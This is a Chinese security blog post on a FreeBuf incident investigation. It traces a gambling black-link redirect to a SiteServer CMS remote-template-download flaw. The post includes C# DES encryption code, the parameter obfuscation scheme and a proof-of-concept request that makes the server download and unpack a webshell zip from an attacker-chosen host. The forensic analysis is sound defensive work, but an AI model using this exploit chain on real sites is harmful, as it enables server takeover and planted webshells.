*本文原创作者:1u0hun,本文属FreeBuf原创奖励计划,未经许可禁止转载
小明同学在某个神清气朗的周六接到来自上级的应急任务,本次任务详情为对某个网站黑链安全攻击事件进行溯源,找到攻击路径,找出幕后真凶,然而,一场意外的事情才刚刚开始……
通过收到的任务清单,了解到本次安全事件属于黑链攻击事件,通常主要是通过百度等搜索引擎查看快照等发现存在该黑链,但是直接访问黑链链接却没有任何内容 通过客户在网关出口架构的某安全厂商的下一代防火墙,客户及时发现黑链现象并反馈出来通过在百度搜索引擎中使用google hacking搜索方式,来找到百度爬虫爬取到的该网站的黑链快照文件,再次确认黑链现象
而在直接访问该url时则直接跳转到正常页面,通过简单的信息,可以确定,应该是在服务器端写入Referer UA劫持,将来自于百度等搜索引擎的访问劫持跳转到黑链,而直接输入url访问则不进行劫持,要想使用此种黑链手法,必须要拿下服务器才行,意味着客户服务器肯定植入了后门文件
通过上述事件表现,基本上可以判断出攻击者攻击的方式,因此到被攻击的服务器,拿上D盾一顿扫,可以看到出现很多后门文件,最近的一次是在2018-10-04,距离本次安全应急也是最早的,与百度快照中的时间保持一致,基本上可以确定是这一次攻击后,写了黑链劫持文件,导致此次黑链安全事件根据经验在网站目录下搜索spider或者黑链链接url等标志字符,确定黑链的文件,可以看到在该文件中对来源于sougou、haosou、so、baidu等搜索引擎的UA,就会劫持跳转到博彩网站,因此将该文件删除就能够恢复网站的正常再对事件处置完毕,进行日志分析,根据之前掌握到的时间以及webshell后门文件的名称include.aspx、aspdm.txt(恶意代码在aspdm.txt中,使用include.aspx包含执行),对日志进行筛选(IIS日志可能存在8个小时的误差,即访问时间为14时,日志记录可能在6时),经过一个多小时的排查,发现有一个ajaxotherservice.aspx此服务接口存在可疑,攻击者在攻击前频繁访问此URL接口 将服务器上的webshell后门文件先备份样本后删除,访问该可疑链接http://www.xxx.com/Ajax/ajaxOtherService.aspx?type=SiteTemplateDownload&userKeyPrefix=test&downloadUrl=ZjYIub0slash0YxA2nYLIZNDeUmdd3GBhwbuBXI4s2bpH2CVmtg2H0slash0QGZ40add0ZW0iiVbi0slash0MDytVnpZKliDw0equals0&directoryName=txt2,模拟恶意攻击者行为,发现浏览器会返回信息为站点模板下载成功 之后在服务器发现模板文件目录下果然会自动生成一个后门zip并且会自解压,由于使用zip因此很多防火墙无法检测拦截该文件是否为恶意文件,造成被轻松植入webshell
到此,就发现了后门webshell的攻击路径,通过远程下载模板的方式,将后门webshell打包成压缩文件zip,而压缩文件会自动解压,所以造成aspx文件可以执行,此过程类似于tomcat上传war包
通过了解,得知被攻击的网站使用的是siteserver cms,为开源免费cms框架,官网https://www.siteserver.cn/,捕获到的“0 day”是通过远程模板下载getshell,漏洞缺陷是由于后台模板下载位置未对用户权限进行校验,且 ajaxOtherService中的downloadUrl参数可控,导致getshell,目前经过测试发现对5.0版本包含5.0以下通杀
可以看到利用的是ajaxOtherService.cs中的SiteTemplateDownload功能模块,使用notepad++搜索到该功能模块如下。发现在ajaxOtherService.cs文件中确实存在函数调用接口SiteTemplateDownload(stringdownloadUrl, string directoryName, string userKeyPrefix)
其中downloadUrl就是远程文件的URL地址,directoryName是下载到本地之后命名的模板目录,userKeyPrefix是加密的密钥,继续审核此文件,整理出整个函数调用流程如下,首先在AjaxOtherService.cs文件中使用Page_Load函数负责加载整个页面,然后通过request[‘type’]获取到不同的操作类型,如果获取到的type为TypeSiteTemplateDownload ,就会执行其request参数值的相关功能,其中最重要的一步操作就是此时先调用了DecryptStringBySecretKey函数将downloadurl先进行了解密,之后调用SiteTemplateDownload函数进行模板下载并自解压。
在AjaxOtherService类中通过常量中已经定义了TypeSiteTemplateDownload = “SiteTemplateDownload”;
因此当type等于SiteTemplateDownload时就会调用SiteTemplateDownload函数,逻辑非常的清楚,接下来分析downloadurl到底是怎么解密的,这也是本次审计的重点,毕竟其他逻辑非常清楚了,通过调用TranslateUtils.DecryptStringBySecretKey函数进行解密,通常开发习惯就是类名与文件名基本保持一致,因此很容易找到该文件
通过分析源代码可知,这里将DecryptStringBySecretKey函数进行重载,在调用DecryptStringBySecretKey(string inputString)时候,实际上调用的是下面带secretKey的同名函数DecryptStringBySecretKey(stringinputString, string secretKey),分析该函数其中secretKey是取自WebConfigUtils.SecretKey的值,通过审计WebConfigUtils.cs文件可知,该值是从配置文档web.config中取得对应字段值。SecretKey的值可以在web.config文件中找到。
解密函数DecryptStringBySecretKey(string inputString, string secretKey)中secretKey的参数值同样为WebConfigUtils.SecretKey的值,继续分析该函数,可以看到先进行了混淆字符,将字符“+=&?’/”替换成DES加密后的密文。
这里使用python脚本去除混淆,恢复原DES密文。
程序去除混淆之后调用DES模块并实例化encryptor对象调用DesDecrypt解密函数,在实例化对象时将inputString和secreKey传入。使用菜鸟教程http://www.runoob.com/调试运行下核心的加解密代码传入参数_encryptKey和_inputString加密代码调试如下_inputString传入任意黑客构造的地址,_encryptKey传入密钥。
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
namespace EncryptApplication
{ class Encrypt
{ static void Main(string[] args)
{
var _encryptKey = "vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5";
var _decryptKey = "vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5";
var _inputString = "http://127.0.0.1:99/txt2.zip";
var _outString = ""; var _noteMessage = "";
byte[] iv = { 0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF };
try{
var byKey = Encoding.UTF8.GetBytes(_encryptKey.Length > 8 ? _encryptKey.Substring(0, 8) : _encryptKey);
var des = new DESCryptoServiceProvider();
var inputByteArray = Encoding.UTF8.GetBytes(_inputString);
var ms = new MemoryStream();
var cs = new CryptoStream(ms, des.CreateEncryptor(byKey, iv), CryptoStreamMode.Write); cs.Write(inputByteArray, 0, inputByteArray.Length);
cs.FlushFinalBlock();
_outString = Convert.ToBase64String(ms.ToArray());
Console.WriteLine("DesEncrypt:"); Console.WriteLine(_outString); }
catch (Exception error) { _noteMessage = error.Message; }
} } }
执行之后获取其加密downloadurl如下:ZjYIub/YxA3QempkVBK4CoiVo3M607H/TBf7F0aPcUE=, 使用python代码混淆该url,得到最后利用的downloadurl
混淆之后的downloadurl为:ZjYIub0slash0YxA3QempkVBK4CoiVo3M607H0slash0TBf7F0aPcUE0equals00secret0,解密的步骤与加密相反,首先将混淆后的下载地址去除混淆。去混淆py代码去混淆后密文如下:
ZjYIub/YxA2nYLIZNDeUmdd3GBhwbuBXI4s2bpH2CVmtg2H/QGZ4+ZW0iiVbi/MDytVnpZKliDw=,
解密函数调试如下,传入_inputString和密钥
假设downloadurl地址为(实际利用是黑客的公网IP地址):http://127.0.0.1:99/txt2.zip安装后的secretKey:vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5加密后的downloadurl:ZjYIub/YxA3QempkVBK4CoiVo3M607H/TBf7F0aPcUE=
混淆后传入参数中的downloadurl:ZjYIub0slash0YxA3QempkVBK4CoiVo3M607H0slash0TBf7F0aPcUE0equals00secret0可以构造如下的POC实现远程文件下载,
获取webshell/Ajax/ajaxOtherService.aspxtype=SiteTemplateDownload&userKeyPrefix=test&downloadUrl=ZjYIub0slash0YxA3QempkVBK4CoiVo3M607H0slash0TBf7F0aPcUE0equals0&directoryName=txt2 在浏览器访问自己搭建的测试网站使用url,发现提示模板下载成功
在服务器上查看,发现自解压该后门zip 然后访问该后门即可
服务器黑链事件,往往大多数都是通过恶意黑客手中的未公开的漏洞,批量扫描攻击,植入webshell,以及黑链。作为一个安全从业人员,要在对坑中学习其攻击手法,从中找到解决方式,维护世界和平。
*本文原创作者:1u0hun,本文属FreeBuf原创奖励计划,未经许可禁止转载